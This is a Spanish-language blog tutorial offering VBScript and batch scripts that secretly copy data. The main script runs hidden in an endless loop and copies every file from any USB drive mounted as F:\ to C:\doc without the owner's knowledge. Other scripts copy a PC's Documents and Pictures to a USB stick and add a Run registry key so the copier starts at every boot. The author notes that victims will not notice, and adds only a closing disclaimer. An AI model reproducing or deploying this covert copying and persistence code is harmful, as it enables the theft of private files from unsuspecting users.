Script para extraer los archivos de una USB de forma oculta

Pequeño programa script para extraer los archivos de forma oculta de una USB, Programas que hacen la misma función supongo que se pueden encontrar en internet como en sitio;

https://norfipc.com/comandos/comando-copiar-cdrom-flash-usb.html


https://norfipc.com/comandos/ejecutar-batch-comandos-ocultos.html

Estos programas de dicha página están hecho casi en su totalidad con programación ms-dos (archivo bat) funcionan perfectamente para windows xp o incluso para windows 7 u 8, lo malo es que esos programas pueden que no funcionen para windows 10 ya que son detectados como amenaza por el mismo sistema operativo, al intentar activar el programa en windows 10 muestra una ventana advirtiendo una la amenaza o simplemente muestra un mensaje de error como "acceso denegado".


Yo hice mi propio script que me funciona correctamente hasta ahora, la diferencia con los programas del sitio que mencioné es que éste es con solo programación VBS.


En resumen se trata de un script vbscript que está programado para que cada minuto busque la unidad f:\ y en dado caso de encontrar la unidad F:\ activa copiará todo su contenido .
P.D si el ordenador esta programada para detectar el usb en otra unida diferente a la F:\ o si en dado caso unidad F:\ esta ocupada por algún otro dispositivo entonces la usb por descarte usará otra entrada como la E:\ , por lo tanto en estos caso el código no podrá copiar los archivos de la USB ya que está programado específicamente para copiar la Unidad F:\, cualquiera que fuese el caso pueden modificar la unidad  a su gusto o agregar una linea de código que pueda copiar más de una unidad si éstas fuesen ocupadas por una usb,  este  código sólo es mi ejemplo y a mi gusto..



Set cop = CreateObject("Scripting.FileSystemObject")
if not cop.folderexists("c:\doc") then        
cop.createfolder"c:\doc"
end if

Const OverwriteExisting = TRUE

Set cop2 = CreateObject("Scripting.FileSystemObject")
do                                                                                              
wscript.sleep 6000
If cop2.folderexists("f:\") then
cop2.Copyfolder "f:\*", "c:\doc", OverwriteExisting
wscript.sleep 50000
end if
wscript.sleep 120000
loop



El programa es sencillo, primeramente el programa crea una carpeta con el nombre "Doc" en la unidad "c:\" , si la carpeta ya existe simplemente se pasa al siguiente paso, al llegar al ciclo busca si existe la entrada de la unidad "F;" (If cop2.folderexists("f:\"), si dicha entrada existe empieza a copiar rapidamente todos los archivos de la entrada F:\ a la carpeta "c:\Doc" (cop2.Copyfolder "f:\*", "c:\doc", el asterisco que aparece en la unidad "f:\*" es para rellenar el espacio vacío y sin él el programa marca error (es importante). en dado caso que no esté una usb conectada el programa por obvia razón no encontrará una unidad F:\ y por ende el ciclo hará que el programa se regrese a la parte del código donde se le indica que busque la unidad F:\ y así sucesivamente hasta encontrar la unidad F:\, .

Un pequeño problema en este scrpit sucede si la USB se retira mientras el script aún no ha terminado de copiar los archivo, aparecerá un mensaje de error diciendo "la ruta no fue encontrada y el script se detendrá, pero los otros usuarios no se darán cuenta de nada, seguramente pensará que fue un mensaje de error de la USB, al menos que la persona tenga conocimiento del tema entonces si podría sospechar. Este error lo corregí por medio de otro script para que el programa no se desactive y siga funcionando para la siguiente USB que sea conectada, pero el mensaje de error al retirar la usb mientras aún se está copiando los archivos todavía aparece.


Script


Otra opción mejor es el siguiente script, este código a diferencia del anterior no muestra ningún tipo de mensaje de error en dado caso de que la usb se haya retirado mientras los archivos aún se están copiando. En este script los comandos de copiar están escrito en otro fichero externo de tipo batch, es por esta razón que no muestra el mensaje de error.

Set cop = CreateObject("Scripting.FileSystemObject")
if not cop.folderexists("c:\doc") then
cop.createfolder"c:\doc"
end if
Const OverwriteExisting = TRUE
Set cop2 = CreateObject("Scripting.FileSystemObject")
do
wscript.sleep 6000
set WshShell = WScript.CreateObject("WScript.Shell")
wshShell.Run "copy.bat",vbhide
wscript.sleep 120000
loop



Aquí el comando copiar se hace desde otro archivo bat.

Se debe tener los dos archivos en una sola carpeta.

Script

El programa al ser un bucle infinito no se detendrá por sí solo ni se puede cerrar desde la barra de windows ya que no aparece, es invisible para los usuarios, se debe cerrar desde el administrador de tarea o al reiniciar,
Para entrar al administrador de tareas en windows 10 se debe oprimir las teclas  CTRL+ALT+SUPR, y elegir la opción administrador de tareas, la otra opción es por medio del comando taskmgr en MS-dos, entrar al simbolo de sistema y escribir el comando "taskmgr" .







Al abrir administrador de tareas buscar la tarea "microsoft windows based script host" hacer click derecho sobre el icono y elegir la opción "eliminar tarea".

Este último script es para copiar los archivos de un ordenador almacenados en mis documentos o mis imágenes a una usb,.

Const OverwriteExisting = TRUE
Set cop2 = CreateObject("Scripting.FileSystemObject")

set WshShell = WScript.CreateObject("WScript.Shell")
wshShell.Run "copy.bat"
wscript.sleep 100
wshshell.run "copy2.bat"


Guardar los tres archivos del enlace en una misma ruta o carpeta en la usb, crear una carpeta llamada "doc" que es donde se copiarán los archivos, al conectar la usb a un ordenador hacer click sobre el archivo copyusb3.vbs y rapidamente se copiarán los archivos del ordenador a la usb. Si se desea copiar otra ruta en el ordenador simplemente se debe de modificar los archivos bat que es donde se encuentra el comando robocopy con la ruta de las carpetas que se desean copiar.



Por último, si se desea que el script para copiar los archivos de una usb de forma oculta se active automáticamente al iniciar el sistema operativo se debe crear una entrada de registro, en este caso a la entrada de registro la nombraré scu, en dado caso que ya no desees que el script se active automáticamente al iniciar el sistema operativo se debe eliminar esta entrada de registro, para eliminar esta entrada de registro se debe entrar al editor del registro de windows y buscar esta dirección de carpeta: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\, al encontrar esta carpeta hay que eliminar el registro con el nombre scu. Si no sabes lo que es una entrada de registro, o el editor de registro recomiendo no usar este script o por lo menos investigar un poco antes de usarlo.


wscript.sleep 4000
strRoot = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\scu"
Set objShell = CreateObject("WScript.Shell")
strModify = objShell.RegWrite(strRoot,"c:copyusb2-2.vbs", "REG_SZ")
wscript.sleep 3000
Set cop = CreateObject("Scripting.FileSystemObject")
if not cop.folderexists("c:\doc") then
cop.createfolder"c:\doc" 
end if

Const OverwriteExisting = TRUE
Set cop2 = CreateObject("Scripting.FileSystemObject")
do
wscript.sleep 6000
set WshShell = WScript.CreateObject("WScript.Shell")
wshShell.Run "copy.bat",vbhide

wscript.sleep 120000
loop


P.D. tal vez se vea un poco exagerado pero yo no me hago responsable del mal uso que se le dé al script, extraer archivos de otras personas y usarlas para beneficios o chantajes es de lo más bajo que pueda hacer una persona, yo sólo comparto este artículo con fin informativo.

1 Comentarios

Publicar un comentario

Artículo Anterior Artículo Siguiente